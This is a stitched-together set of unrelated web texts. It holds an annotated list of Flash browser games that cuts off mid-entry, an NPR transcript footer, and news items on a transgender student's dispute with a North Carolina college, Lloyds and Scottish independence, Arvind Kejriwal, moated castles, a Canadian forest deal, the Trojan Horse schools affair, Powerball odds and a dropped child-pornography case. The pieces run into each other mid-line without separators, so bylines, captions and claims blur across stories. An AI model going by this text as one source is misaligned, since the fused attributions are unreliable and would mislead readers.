Like on Puzz Pinball, on this game, you’ll drag and drop objects around to make the dropping ball hit the target. The game has 28 levels of fun, plus seven recently added bonus levels. One difference is that on Blueprint, you have a limited number of tries.
Click here to play Blueprint
58. Planarity
Quite a brain teaser. On Planarity you have blue dots (called vertices) connected by lines (called edges). You basically have to reorganize the vertices by dragging them around so that no two lines intersect.
Click here to play Planirity
59. The Idiot Test
Test your IQ with this funny quiz. Just do what you are told, and see how far you can get! The are a couple of flaws (i.e. all squares are also rectangles), but overall, it is very challenging
Click here to play the Idiot Test
Multiplayer Games
60. Globulos
On Globulos, you control a team of little creatures that can be flung around. There are many different maps and types of games. On some, you will just need to force your opponents’ creatures out of the arena. On others, you have to score goals. Guest players can only play for 15 minutes, but you can always quit and re-login if you don’t want to register.
Click here to play Globulos
61. Artillery
If you played Gunbound in the past, this game will look familiar. On Artillery, you have two players against two players, each controlling a tank. The shooting takes place in rounds, and each player controls and powers his missile. Don’t forget to take wind into consideration.
Click here to play Artillery
62. Stick Arena
An over-the-top kill-’em-all game. Your objective is to wipe all the other players out, using punches, katanas and even AK-47s. You can play the game as a guest, although registered users have the possibility to advance in rank.
Click here to play Stick Arena
63. Platform Racing
A racing game where each player can customize his character (by distributing points on the different attributes). The action takes place on a side-scrolling platform (Mario World-style), and you will need to beat the opponents by arriving first at the end while avoiding obstacles and using items.
Click here to play Platform Racing
64. Platform Racing 2
Platform Racing 2 is pretty similar to the first edition, but with more online players at any given time, more customization options and the possibility to create your own tracks. Definitely one of the best multiplayer Flash games on the web, so give it a try.
Click here to play Platform Racing 2
Physics Games
65. Gravity
On this game, you have to release an atom among some larger particles while making sure there are no collisions within the time span specified by the time bar. You might even learn a thing or two about gravitational forces!
Click here to play Gravity
66. Boomshine
Can you trigger a chain reaction that will explode many dots? This is your goal this game. You have dots floating around randomly, and with your mouse, you’ll trigger an initial explosion. The dots that hit the area of your explosion will explode themselves. On each level, you need to take out a minimum number of dots.
Click here to play Boomshine
67. Trebuchet
Tweak your trebuchet to accomplish the mission on each level. You will need to choose the right mass for the projectile, the right mass for the counterweight, the height for the counterweight and the angle for the launch. If that’s not enough, you can even play with the gravity and wind speed!
Click here to play Trebuchet
68. Filler
Your goal is simple: Fill two-thirds of the screen by inflating the filler balls (just hold the left button of your mouse pressed for that). The challenge is to do it without being hit by the many bouncing balls.
Click here to play Filler
69. N3wton
For every action, there is an opposite and equal reaction. That is Newton’s third law, and that is the base of this little game. You control a little tank that shoots balls, and you need to throw your opponents out of the platform. The longer you hold your mouse pressed, the higher the power of your shots.
Click here to play N3wton
70. Top Figures
Very interesting idea for a game, and outstanding physics effects. On this game, you are presented with a structure that holds a kid on top of it. Your goal is to remove as many bars as possible without making the structure collapse and without letting the kid hit the water.
Click here to play Top Figures
71. GravityPods
On GravityPods, you control a stationary cannon, and you need to shoot a small projectile to hit the purple target on the other side of the screen. On the different levels, you will find gravity pods that will bend the trajectory of your shots, making it harder to hit the target.
Click here to play GravityPods
72. Red
Control a turret and defend the Red Planet. There will be orbs of all sites coming at your direction, and by firing small balls on their way, you will be able to divert their course. It becomes quite difficult as you progress on the game.
Click here to play Red
73. Ragdoll Cannon
A mixture of projectile and physics game, on Ragdoll Cannon you need to fire dolls (no kidding) away, with the objective of hitting the “Here” pad on each level. There are many obstacles along the way, and you need to to use your brain more than once to finish the game.
Click here to play Ragdoll Cannon
74. Line Rider
Extremely popular Flash game where you have to draw a surface for a little guy slide on using his sled. The game has the option to save and load what you created, which enables people to come up with all sorts of crazy and incredible tracks. Very addictive.
Click here to play Line Rider
75. Fantastic Contraption
Fantastic was a good word choice for the title of this game. You just have to move all the red objects to the red rectangle, but how you are going to do that is the beauty of the game. You are given three different wheels (two that spin automatically in each direction, one that doesn’t) and two types of connections (a wood rod and a water one). Using only those five components, you’ll build structures to surpass all kinds of obstacles.
Click here to play Fantastic Contraption
Puzzle Games
76. Draw Play
Funny concept for a game. You will basically use your mouse to draw a platform, and with the arrow keys, you can move a little mummy around. The objective is to reach the flag on each level, while avoiding obstacles along the way.
Click here to play Draw Play
77. Ball Bounce
Fire a little ball from the left side of the screen, and make it reach the opposite side. The ball can bounce on the dark rectangles, but if you hit a light one, it starts over.
Click here to play Ball Bounce
78. Hoshi Saga 3
On each level, you need to find the star. The creative twist of the game is that each level is completely unique and will force you to think and experiment around. There are 20 free levels, and 16 extra ones that must be unlocked first. If you like this game, try Hoshi Saga 1 and 2 as well.
Click here to play Hoshi Saga 3
79. Elements
Utterly dizzying game where you need to move a ball around, destroying bricks until you reach the green brick that will take you to the next level. There are 25 levels to go. Hopefully your eyes will last that many!
Click here to play Elements
80. Stackopolis
Click on the blocks to move them, and replicate the structure that you are presented with. Sounds easy? Well, you also have to do it within a specific time frame.
Click here to play Stackopolis
81. Virus 2
On Virus 2, you have a playing field full of colored blocks, and you start by controlling the color of one of them. Every time you change the color of the blocks, the adjacent ones that share the new color will be infected. On each level, you have a limited number of color changes to infect all the blocks.
Click here to play Virus 2
82. Domino Pressure
Find the domino that will cause the entire set to topple and squash the tomato, and do that within the available time. You start the game with 20 seconds, and you will lose or gain time depending on your performance. Worth a try.
Click here to play Domino Pressure
83. Grow Cube
Simple and intriguing game where you start with a big cube and 10 items to be distributed around it. The order of the items will determine the final development of your cube. Hint: Start with the man.
Click here to play Grow Cube
84. Portal
A Flash-based, 2D version of Valve’s Portal. You need to reach the exit door on each of the 40 levels, and at your disposal, you have only your brain and the “Apertyre Science Handheld Portable Device” (a gun that shoots portals, which you can use to tele-transport yourself).
Click here to play Portal
Racing Games
85.Mini Karting
Click here to play Mini Karting
Almost 50 tracks to choose from. You will be racing alone, but you can see the ghostcars both from the best run ever and from your own fastest run. Every month three tracks are also chosen as “Tournament Tracks,” and a Top 10 list with the fastest players is displayed on the homepage of the site.
86. Pursuit Across Europe (PACE)
BMW created this game as a promotional effort. You will start in Portugal and drive across Europe, competing with a bunch of other cars. The tracks are not that challenging, but the graphics and sound effects are cool, and it is nice to see how far they are taking the Flash technology.
Click here to play Pursuit Across Europe (PACE)
87. Drifting Championship
Who never wanted to race in a drifting competition? There is only one track, but the game is pretty fun. You can upgrade the parts of your car, and create a “league” where many players can compete with each other (ideal for Fridays in the office).
Click here to play Drifting Championship
Reflex Games
88. Sink Your Drink
You will be served drinks on three different rows, and once they reach the end of the table, you have to press Z, X or C to knock ’em back. As you advance on levels, the drinks will be served faster — and the woman serving them gets prettier, too.
Click here to play Sink Your Drink
89. Short Circuit
Listen to the funky music as you try to avoid the rain of asterisks. Protect your light bulb by clicking the mouse and you may just survive through the differently colored rounds.
Click here to play Short Circuit
90. Base Jumping
Beat your opponents by being the first to hit the ground. You will start aligned in the air with the others, and on the “Go” mark, you’ll have to hit the spacebar as fast as possible. Then, when approaching the ground, hit the spacebar again to open your parachute. Win the three rounds and advance to the next league.
Click here to play Base Jumping
91. Tontie
There are nine holes, one for each number on your keyboard number pad. Whenever they pop, smash them with your hammer! There are treasures to be collected, special hammers and weapons, and special monsters that will require more than a hit to get smashed.
Click here to play Tontie
92. Squares 2
You control a black square with the objective of collecting all the other black squares and avoiding the red ones. Collect the black balls to activate bonuses. The background music is funky as well.
Click here to play Squares 2
93. Curve Ball
Think Pong, only in three dimensions. You control a paddle on the end of a tunnel, and the computer controls the other paddle on the other end. Keep hitting the ball until the computer misses it.
Click here to play Curve Ball
94. Bullet Time Reaction
Are you fast enough to dodge a bullet? On this game, you can test that, with the shooter being placed at different distances. Now, that screenshot alone should tell you how fast we were…
Click here to play Bullet Time Reaction
95. Cursor Thief
Don’t let the mean little thief steal your cursor! You just need to move around fast. But be warned, the little guy has more than one trick up his sleeves.
Click here to play Cursor Thief
96. Particles
Can you keep the blue ball safe? Just move it around with your mouse, and don’t let any red ball hit it. You will start with three red balls. Another will be added to the game as you hit each new level.
Click here to play Particles
97. Dodge Game
Very similar to Particles — only here, you will need to catch a blue square with the blue ball that you control. Every time you catch it, another red ball will appear.
Click here to play Dodge Game
98. Ragdoll Avalanche 2
Awesome game. You control a doll character. Using the arrow keys, you’ll move around and dodge the falling spikes. Ever see “Crouching Tiger, Hidden Dragon”? That is what it feels like.
Click here to play Ragdoll Avalanche 2
RPG Games
99. Zelda Flash Game
It would be a tough task finding an RPG lover that never played Zelda, huh? Now, you can also lead Link through various adventures directly in your browser. Keep in mind this is not the original game — it’s just based on it.
Click here to play Zelda Flash Game
100. Monster Den
A party-based dungeon crawl tactical RPG. Create a party of up to four heroes from five distinct character classes. Then battle to the depths of the dungeon, increasing in strength and finding a powerful treasure.
Click here to play Monster Den
101. Monster Den: Book of Dread
The expanded edition of Monster Den. On Book of Dread, you have more classes to choose from, new items and monsters, and two new quests. If you liked the first one, head right over to it.
Click here to play Monster Den: Book of Dread
102. Sonny
Beautiful graphics and a deep story line is what you will find here. You play as a man that lost his memory, and you advance on the game while talking to people and defeating enemies on turn-based battles.
Click here to play Sonny
Shoot It Far Games
103. Monkey Kick Off
Click on your mouse to make the monkey kick the ball. The timing is essential to make it go far away. (Tip: Wait until the ball is high up in the air.) Try to reach the Monkey Village at 4,000 monkey meters!
Click here to play Monkey Kick Off
104. Kitten Cannon
Use the up and down arrows to move the cannon, and space to fire. As you probably guessed, you will be firing kittens! Not only that, you should also aim to make them hit explosives along the way. This will boost your final score.
Click here to play Kitten Cannon
105. Nanaca Crash
Click and hold your mouse until you have the desired angle and power, then release it. Nanaca will come rushing to crash into Taichi. During the game, pay attention to the word “AERIAL.” Whenever it gets highlighted in red or blue, you can click to call Nanaca again. You can use this ability three times.
Click here to play Nanaca Crash
Shoot-’em-Up Games
106. Snakes On A Plane
Kill all the 100 snakes on the plane, motherfucker! The difficulty is not that high, but the idea is cool. Make sure to check the end of the game as well!
Click here to play Snakes On A Plane
107. Deanimator
Based on a horror story, you get to play as Dr. Herbert West. You start with a revolver, six bullet chambers, and a bunch of zombies to take down. Reload timing is important here. Once you get a shotgun, use the shift key to switch between the two weapons.
Click here to play Deanimator
108. Puki: The Swarm
Pukis are little cute creatures. Unfortunately, they are also pretty mean, so you need to wipe them out. Use the WASD keys to move around, space to activate your shields, and the mouse to point and shoot the laser gun. Careful with the overheating effect though.
Click here to play Puki> The Swarm
109. Kill The Dog From Duck Hunt
Remember the Duck Hunt game, released for NES in 1985? Have you ever wanted to shoot the dog instead of the ducks? Well, now you can!
Click here to play Kill The Dog From Duck Hunt
110. D-fence
A game that is half tower defense, half shoot-’em-up. There are timed rounds where enemy troops will try to invade your castle. You need to shoot ’em up. You also gain cash along the way, and you will be able to buy barricades, auto-defence, tower guards and so on.
Click here to play D-Fence
111. Sift Heads Sniper Game
Play as a Mafia assassin. On each level, you will have one objective and one weapon. Aim for the head. Always!
Click here to play Sift Heads Sniper Game
112. Tactical Assassin
Similar to the previous game, except here, you have a limited sight — and always the same gun. On each mission, you will be presented a briefing. Read it carefully to know who you must kill beforehand.
Click here to play Tactical Assassin
113. The Last Stand
Kill the zombies! There is some strategy involved, as you need to allocate your day time between finding survivors, weapons, and repairing the barriers that protects you. Don’t forget to get the M-40. It rocks.
Click here to play The Last Stand
114. The Last Stand 2
Those of you that finished the first version of the game too fast can carry on the fun with this one. This time, you need to make your way to Union City in 40 days, while blasting all the zombies as usual.
Click here to play The Last Stand 2
115. Zero
Lock the target on your flying enemies and hit space to fire. There are different routes and bosses, and you can also score combos to gain more points.
Click here to play Zero
116. Boxhead 2Play Rooms
Massacre all the box-headed zombies. On your |
will review one of the summer's most anticipated novels. This is FRESH AIR.
Copyright © 2016 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.A student says she was harassed and detained by Central Piedmont Community College security officers in the central campus' Overcash building. Photo Credit: Ken Lund, via Flickr. Licensed CC.
CHARLOTTE, N.C. — The attorney for a transgender student who claims she was harassed and detained by security officers at Central Piedmont Community College (CPCC) said today that she and the student are considering filing a civil rights complaint as school officials responded publicly to the claims of discrimination.
Attorney Sarah Demarest represents CPCC student Andraya Williams, who recounted her experience with campus security on Friday. Williams said that on March 18 CPCC security officers questioned her gender, escorted her off campus and suspended her from classes as she was exiting a restroom and heading to the campus’ library before a class that evening.
For more than a week, Williams and Demarest have attempted addressing the incident with school officials. They allege that Williams has been ignored or has felt pressured not to file a complaint and that one official even told Williams she has “no legal rights.”
“We are wanting to give CPCC time to take action on their own, but if they are unwilling, we are prepared to file a complaint with the U.S. Department of Education’s Office of Civil Rights,” Demarest said Monday.
Suspension debated
CPCC officials were initially reluctant to discuss the incident. When reached on Friday, campus security director Paul Kitchen deferred all questions to Dean of Student Life Mark Helms. On Monday morning, Helms also declined to comment and deferred questions to CPCC Public Information Officer Jeff Lowrance.
On Monday afternoon, Lowrance told qnotes that Williams was never suspended and is currently a student in good standing. Demarest, however, insists security officers told Williams she was suspended on March 18 and could not come back to campus.
“I heard them say you are being suspended and you cannot return to campus until further notice,” said Demarest, who heard most of the conversations between Williams and the six security officers, including Kitchen, who confronted her on March 18.
The alleged suspension was later lifted when Williams met with Helms on March 19. But, Williams said neither Helms nor campus equal opportunity officer Leon Matthews were willing to help her file a complaint. Matthews, in particular, alleged Williams, pressured her not to file the complaint and told her she has “no legal rights.”
Lowrance denied that campus officials attempted to stop Williams from filing a complaint. He said the school has sent Williams a letter, dated March 27, that outlines how Williams can file a grievance and access mediation.
Demarest and Williams said neither of them have received a letter from the school.
CPCC attempting ‘balancing act’
Lowrance says CPCC is currently striking a “balancing act” between the rights of transgender students and other students.
“CPCC, as well as lots of other colleges and universities in the country, are wrestling with this issue of providing accommodations for transgender students and trying to meet their needs,” Lowrance said. “Truly, it is a balancing act trying to meet their needs and providing for the needs of other students.”
Currently, CPCC has no concrete policies or practices to safeguard the rights of LGBT, and, in particular, transgender, students. In fact, Lowrance said it is currently CPCC’s expectation that transgender students use only the restrooms that correspond to the students’ assigned birth gender or restrooms that are non-gender-specific.
“At this time, that is the best answer to balance the needs of all students,” said Lowrance. “We have to balance what our other students are feeling. We have female students who may not be comfortable with a transgender student using the same facilities.”
Lowrance also said the school is obligated to investigate potential abuses.
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“In this situation apparently, we had a security officer who suspected we had a male going into a female restroom and in that situation, the security officer definitely has to investigate,” said Lowrance. “If it was ever found out that campus security had a suspicion and did not act on it and led to a student being assaulted or injured, then the college would have a lot to answer for.”
Currently, however, Lowrance said he was unaware of any past complaints about transgender students’ restroom use.
Lowrance also said the school currently has some non-gender-specific restrooms, but could not name how many or where they are located. He said plans for new buildings call for including more private restrooms, which may be used by students for a variety of privacy concerns.
Until then, transgender students will continue to have limited options.
Demarest said CPCC’s expectation is discriminatory and dangerous, noting significantly greater safety concerns for transgender students who are forced to use restrooms that do not conform to their current gender identity or expression.
More importantly, however, Demarest insisted that CPCC has violated Williams’ civil rights, calling CPCC’s actions “unlawful harassment” and a “violation of her due process rights and rights under Title IX,” a federal law that forbids gender-based discrimination.
“CPCC’s decision to apprehend [Ms. Williams] in the restroom was based on their visual assessment of her gender,” said Demarest. “While CPCC is allowed to maintain sex-segregated facilities for male and female students, they decided that Ms. Williams fell outside both categories and treated her differently than other students. Furthermore, the differential treatment occurred in front of other students, highlighting to her peers that she does not conform to gender stereotypes and outing her as transgender.”
Demarest said CPCC needs to review their polices and practices immediately.
“There are many transgender students who need to know what their rights are and need to know how it is they are supposed to navigate this issue,” said Demarest. “The way CPCC has handled this situation was inadequate and allowed [Williams] to be humiliated and feeling like she was without recourse.”
CPCC does not currently include sexual orientation or gender identity in its non-discrimination and anti-harassment policies.
A student-organized protest is currently scheduled for this Friday, Noon, at the corner of Elizabeth Ave. and Kings Dr. at CPCC’s Central Campus.
[Ed. Note — In the first version of this story, the original date of the first incident between Williams and CPCC security was mistakenly reported as March 19. The incident actually occurred on Tuesday, March 18. The story has been updated. We regret this error.]
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Posted by Matt Comer Matt Comer is a staff writer for QNotes. He previously served as editor from October 2007 through August 2015.LLOYDS Banking Group is considering having its registered office in London rather than Edinburgh should Scots vote for independence, according to banking industry sources.
Lloyds, which owns Bank of Scotland, has finalised contingency planning ahead of the Sept. 18 vote. The chances of secession have increased with support for Scottish independence rising dramatically in August.
Banking industry sources said Lloyds executives are considering having the group’s registered office in London, with Bank of Scotland operating from Edinburgh as a foreign division of the business.
• Get the latest referendum news, opinion and analysis from across Scotland and beyond on our new Scottish Independence website
Most of Lloyds’ senior executives are based at the company’s headquarters in London but the bank’s registered office, its official legal address, is in Edinburgh, meaning it would be
classed as a Scottish bank in the event of independence.
Lloyds has warned that Scottish independence would impact its cost of funding, taxes and compliance costs.
Scottish-based banks have assets worth 12-and-a-half times the country’s economic output and economists have questioned whether an independent Scotland would be big enough to host
Lloyds and rival Royal Bank of Scotland.
If Lloyds were to stay in Scotland after it becomes independent, Westminster-based lawmakers have warned that the Bank of England would no longer be the so-called lender of last resort, to provide a backstop were Lloyds to run into trouble.
Bank bailout
Lloyds required a 20.5 billion pound ($33.8 billion) bailout during the 2008 financial crisis, which left the British government with a 40 percent stake.
The bank, which is now 25 percent government-owned, has stressed that it will not make any decisions until after the result is known. It has said that in the event of a vote for
independence it will work with relevant authorities to ensure it can serve customers across the United Kingdom.
“The scale of potential change is currently unclear, but we have contingency plans in place,” Lloyds told news agency Reuters on Tuesday in an emailed statement.
“In the event of a ‘yes’ vote in the referendum, there would be no immediate changes or issues which could affect our business or our customers. There will be a period between the
referendum and the implementation of separation, should a ‘yes’ vote be successful, that we believe is sufficient to take any actions that we believe necessary,” Lloyds said.
Scotland’s First Minister Alex Salmond has said the country would officially become independent in March 2016 in the event of a ‘yes’ vote, giving Lloyds and Royal Bank of Scotland 18 months to assess their options.
During the intervening period, politicians on both sides of the border would negotiate key questions including whether Scotland can keep the pound.
The three main UK parties have ruled out a currency union but Salmond has insisted they would negotiate if Scots vote for independence and has said no one could stop Scotland using the
pound informally.
Some banking industry and political sources say the 18 month timeframe for independence could prove overly optimistic, meaning Lloyds and RBS could have more time to respond.
The sources said Lloyds and RBS have held discussions with the Bank of England over what might happen in the immediate aftermath of a ‘yes’ vote. Some executives want the Bank of England to reiterate that it will continue to act as lender of last resort during the transition period and calm any fears among investors and depositors.
The Prudential Regulation Authority, which hasresponsibility for financial stability, declined to comment.
Britain’s finance ministry declined to comment.
RBS, whose registered offices are also in Edinburgh,declined to comment on its plans.
Representatives of “Yes Scotland”, which is campaigning for independence, were not immediately available for comment.Delhi Chief Minister Arvind Kejriwal is keeping himself busy with the launch of various schemes. Photo: PTI.
Arvind Kejriwal, who till sometime back, was seen launching attacks on the BJP and the Election Commission for alleged EVM tampering, has remained unusually quiet in the last few months.
The Delhi Chief Minister has also refrained from attacking Prime Minister Narendra Modi. His activity on social media is largely restricted to retweeting his Cabinet colleagues' posts.
Simultaneously, in the last few months, the Kejriwal-led AAP government has taken steps towards accessible healthcare and transparency in government functioning.
WHAT IS KEEPING ARVIND KEJRIWAL BUSY?
Last week, Delhi Chief Minister Arvind Kejriwal launched a healthcare scheme under which a patient who doesn't get a date for surgery at a government hospital within a month would be referred to a private hospital and the government would pay the expenses.
The Delhi government has identified 52 life-saving surgeries and 48 private hospitals under the scheme.
A few days ago, Arvind Kejriwal launched Delhi government's online Right to Information (RTI) portal and said that the "Delhi government would put all relevant information online to ensure transparency in its functioning".
Had gud mtng wid Hon'ble LG. 3 decisions- restart work of greening n landscaping PWD roads, paint all zebra n footpaths, redesign some roads - Arvind Kejriwal (@ArvindKejriwal) July 5, 2017
The Delhi Chief Minister sought a report from chief secretary on non-disbursal of scholarships to students from SC, ST and OBC categories in the last two years, affecting more than 5.5 lakh students.
Kejriwal has directed the departments concerned to ensure that scholarship disbursements are done by end of July.
WHAT FORCED AAP TO CHANGE STRATEGY?
Following the humiliating defeat in the Municipal Corporation of Delhi (MCD) polls in April, Arvind Kejriwal said it was time for AAP to introspect and go back to the drawing board.
"Yes, we made mistakes but we wil introspect and course correct. Time to go back to the drawing board... Need is action and not excuses. It's time to get back to work," the Aam Aadmi Party chief and Delhi CM said in a post shared on Twitter.
The electoral defeats in Goa and Punjab and then in its own bastion of Delhi in the MCD polls were followed by reports of internal rifts within the party with senior AAP leader Kumar Vishwas even threatening to quit.
While defeats in elections stung the AAP, the allegations of corruption against the Delhi Chief Minister by suspended party MLA Kapil Mishra gave ammunition to the Opposition to target Arvind Kejriwal, who rose to power on the back of his anti-corruption campaign.
WHAT IS KEJRIWAL's NEW STRATEGY?
In the last month-and-a-half, the Delhi Chief Minister has steered clear of any major controversy, and has not made any remark that could create a flutter, thereby ensuring that the focus remains on governance.
Kejriwal has not launched public or personal attack on Narendra Modi--a tactic which, the Delhi Chief Minister has understood, only boomerangs.
On social media platforms like Twitter, the Delhi Chief Minister has made few comments, and has largely stuck to sharing posts from fellow AAP colleagues or reports regarding the government's work in Delhi.
Good Delhi Police. Thank u LG sir. https://t.co/NHLem42PKH - Arvind Kejriwal (@ArvindKejriwal) June 28, 2017
Rather, it is Kejriwal's deputy Manish Sisodia who seems to have taken over the task of attacking the Centre on issues such as GST implementation. The Chief Minister, however, makes it a point to retweet the same.
After several bitter spats with previous Lieutenant Governor Najeeb Jung, the Kejriwal government has checked itself from publicly attacking L-G Anil Baijal's office. Baijal and Arvind Kejriwal were seen doing yoga together at an event to mark the International Yoga Day last month.
The AAP government while avoiding any public confrontation with the L-G instead knocked on the Supreme Court's door to consider its plea to challenge the Delhi High Court order that held the L-G as the administrative head of the National Capital of Delhi (NCT).
The Supreme Court has agreed to consider the AAP government's plea on setting up a Constitution bench to hear the appeal.
ALSO READ:
Ashish Khetan made adviser to Delhi chief minister Arvind Kejriwal
Delhi: Kejriwal chairs Cabinet meeting, approves 6350 CCTVs for buses
Gujarat: Kejriwal-Modi face off unlikely as AAP rethinks decision to contest polls
ALSO WATCH: When Arvind Kejriwal was stung by 'Kapil Mishra bewafa hai' bugBodiam Castle – East Sussex England | Photographer Unknown
A moat is a deep, broad ditch, typically filled with water, that surrounds a castle, building or town. Historically, it provided a preliminary line of defence. In some places moats evolved into more extensive water defences, including natural or artificial lakes, dams and sluices. In later castles the moat or water defences may have been largely ornamental.
Regardless, moats are an impressive sight to behold, and any building that calls for such design is likely quite important and/or expensive. While many of the moats are found in Europe, we also check out Asia and even touch down in Miami for a contemporary spin on this largely medieval phenomenon. Enjoy!
2. Matsumoto Castle, Japan
Photograph by MIRAI
3. Angkor Wat, Cambodia
Photograph by CHARLES J SHARP
4. Burg Gudneau, Germany
Photograph by RHEINPFEIL
5. Caerphilly Castle, United Kingdom
Photographer Unknown
6. Forbidden City – Beijing, China
Photograph by SHARON BEALS
7. Beloeil Castle, Belgium
Photograph by HENRI @ Webshots
8. Egeskov Castle, Denmark
Photograph by Flemming Christiansen
9. Vadstena Castle, Sweden
Photograph by RIGGWELTER
10. Bodiam Castle – East Sussex, England
Photograph by PHIL LAYCOCK
11. Château de Chambord, France
Photograph by Church of Emacs
12. Château de Chenonceau, France
Photograph by RA SMIT
13. Muiderslot Castle, Netherlands
Photograph by P BRUNDEL
14. Oerebro Castle, Sweden
Photograph by MR BULLITT
15. Leeds Castle, England
Photograph via Xcitefun.net
16. Bodelschwingh Castle – Dortmund, Germany
Photograph by SHARON BEALS
17. Frederiksborg Palace, Denmark
Photographer Unknown
18. Fagaras Castle, Romania
Photographer Unknown
19. Jatiyo Sangshad Bhaban (National Assembly Building), Bangladesh
Photograph via Skyscraper City
20. Home of Charles Sieger – Miami, Florida
Photograph by FLORIDAPHOTO
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25 Haunting Shipwrecks Around the WorldImage caption The agreement will protect much of Canada's wide open rangelands
Timber companies and environment groups have unveiled an agreement aimed at protecting two-thirds of Canada's vast forests from unsustainable logging.
Over 72 million hectares are included in what will become the world's largest commercial forest conservation deal.
Logging will be totally banned on some of the land, in the hope of sustaining endangered caribou populations.
Timber companies hope the deal will bring commercial gains, as timber buyers seek higher ethical standards.
The total protected area is about twice the size of Germany, and equals the area of forest lost globally between 1990 and 2005.
"The importance of this agreement cannot be overstated," said Avrim Lazar, president and CEO of the Forest Products Association of Canada (FPAC).
We're thrilled that this effort has led to the largest commercial forest conservation plan in history Steve Kallick, Pew Environment Group
"Together we have identified a more intelligent, productive way to manage economic and environmental challenges in the Boreal [Forest] that will reassure global buyers of our products' sustainability."
The Canadian Boreal Forest Agreement (CBFA) brings together FPAC's 21 member companies and nine environment groups, many of which have fought a bitter battle against what they have sometimes criticised as rapacious logging.
As part of the agreement, those groups have agreed to suspend criticism of the industry and calls for boycotts.
Green excitement
The Pew Environment Group, which has worked for about a decade on trying to "green" Canada's forestry, said it was "excited" by the agreement.
"We're thrilled that this effort has led to the largest commercial forest conservation plan in history, which could not have happened without both sides looking beyond their differences," said Steve Kallick, director of Pew's International Boreal Conservation Campaign.
Pew notes that the total area covered by the deal is larger than in some agreements currently feted as global leaders, such as the Brazilian Amazon Region Protected Areas project.
Throughout the protected lands - which run right across the country from the Pacific to the Atlantic coasts - companies and environment groups are pledging to work together to implement "world-leading forest management and harvesting practices".
The effects of forest protection on wildlife, particularly caribou, will be monitored; and timber will be certified as coming from sustainable sources.
Pew believes the agreement could be a template for future forest agreements in other parts of the world, as industry leaders respond to an increasingly environmentally-aware public.
"There is a recognition that this is how forestry will be done in the 21st Century, and there's a great interest in getting ahead of the rest of the industry," Mr Kallick told BBC News.
The agreement at present covers companies and environment groups; both parties are looking now for backing and re-inforcement from governments.
In the Canadian system, that means the national and provincial authorities, and "First Nation" governments of indigenous groups, some of which have already indicated their support.Image caption Heads complained that the Trojan Horse warnings remained unresolved
Head teachers have warned that intimidation is still continuing after the investigations into the so-called Trojan Horse scandal.
A head teachers' conference has heard claims of threats such as dead animals being left in school playgrounds.
"Trojan Horse has not gone away," said Sarah Hewitt-Clarkson, head of Anderton Park School in Birmingham.
Responding to the claims, Education Secretary Nicky Morgan said: "There is no place for extremism in our schools."
The National Association of Head Teachers' annual conference in Liverpool heard warnings that problems over extremism remained unresolved and schools could still face pressure on issues such as tackling homophobia.
The so-called Trojan Horse inquiries followed allegations that there were organised attempts by hardline Muslim groups to undermine head teachers and take over schools in Birmingham.
Threats
Head teachers at the conference complained that no governors had been barred as a result of the inquiries and they called for a database which would identify individuals removed from governing bodies.
Image copyright EPA Image caption Nicky Morgan said problems with extremism are "not going to be solved overnight"
Ms Hewitt-Clarkson told the head teachers' conference: "Trojan Horse has not gone away. Those of us who were involved, we knew it was the tip of the iceberg.
"We still have dead animals hung on the gates of schools, dismembered cats on playgrounds. We have petitions outside schools, objecting to teachers teaching against homophobia."
There were threats on social media, she said, such as "Any head teacher who teaches my children it's alright to be gay will be at the end of my shotgun."
Ms Hewitt-Clarkson said she knew of a school which had found a dismembered cat in the playground, while another had a dog hanging from the railings.
'Rogue governors'
Head teachers warned that despite the high profile reports following the Trojan Horse claims, the response had been inadequate.
Alison Marshall told the conference: "Despite all the evidence we have, we're faced with a situation where not one single governor implicated in the Trojan Horse scandal has been investigated or even banned. Where is the justice in that?"
And Ms Hewitt-Clarkson warned that the problems underlying the Trojan Horse claims could "start up again".
"All the behaviours and things we saw before are still there. So too have promises that have been broken," she told the NAHT conference.
There were particular concerns about the lack of scrutiny over the role of governors, highlighted by the Trojan Horse inquiries.
Tim Gallagher told delegates the lack of regulation meant it was "blindingly obvious" that there would be problems with governing bodies.
"Many, many of our members have suffered greatly from rogue governors," he said.
The conference carried a motion calling for a national register of governors who have been removed or barred so that schools and local authorities can check the suitability of governors.
The BBC revealed earlier this year that there is no central record of governors held by the Department for Education, which would also show people serving as governors in multiple schools, one of the concerns raised in the Trojan Horse inquiries.
Mrs Morgan, responding to the heads' warnings, said: "There is no place for extremism in our schools and we continue, absolutely, to work to eliminate any form of extremism."
But the Conservative education secretary said: "This is a reminder that this is a serious issue and something that is not going to be solved overnight.
"We have taken action to remove and continue to take action to remove people from being in schools who don't follow British values."I love lotteries.
Not because they are a smart way to fund schools, are a good investment or have a smart payout scheme. They are none of those things. But lotteries do make people care about probability.
And with the Powerball jackpot hitting an advertised value of $500 million for the drawing Wednesday night, people are talking about probability again. So, what are the chances at least one person wins? Let’s see what the data has to say (last year I looked at the relationship between advertised jackpot and participation).
Given the size of a jackpot, we can estimate how many tickets will be sold, based on historical data.
And given the turnout, we can estimate the probability of a winner. The chances of at least one winner Wednesday night are really good.
A $500 million advertised Powerball jackpot typically means about 191.7 million tickets will be sold, based on a polynomial regression. Given that level of turnout, we’d anticipate a 67 percent chance of at least one winner.
Keep in mind, a $500 million prize is unusually high, which means we have less data and a more uncertain forecast. I, for one, am psyched to see what the ticket-sale numbers are for this drawing, if only to get a better grasp of the characteristics of higher jackpots.
So, even if — after taxes and split jackpots — the lottery is not a great investment idea, it’s always fun to watch millions of people talk about probability on at least one day of the year, right?Jerry Hilgers was looking at the prospect of spending the rest of his life behind bars after investigators found a hard drive filled with child pornography in his home, but instead the Wisconsin police officer will go free due to a typo on the search warrant.
The 43-year-old Dane County sheriff’s deputy originally had seven counts of possession of child pornography, but they were all dropped when a judge ruled that a copy-and-paste error on the search warrant made everything police found on the computer inadmissible.
The Free Thought Project has the details.
“According to the report, investigators inadvertently used a paragraph, which stated they were searching for child pornography, instead of one specifying the search was for evidence in an illicit relationship between Hilgers and a woman serving a jail sentence at home on electronic monitoring.” “The error was insurmountable, Dane County Circuit Judge John Markson said, so he had to suppress the search warrant along with a subsequent search warrant that was issued after child pornography was initially discovered, which led to the discovery of even more child pornography.”
Markson said he believes the error was made when officers may have accidentally inserted part of a different warrant into the one for Jerry Hilgers.
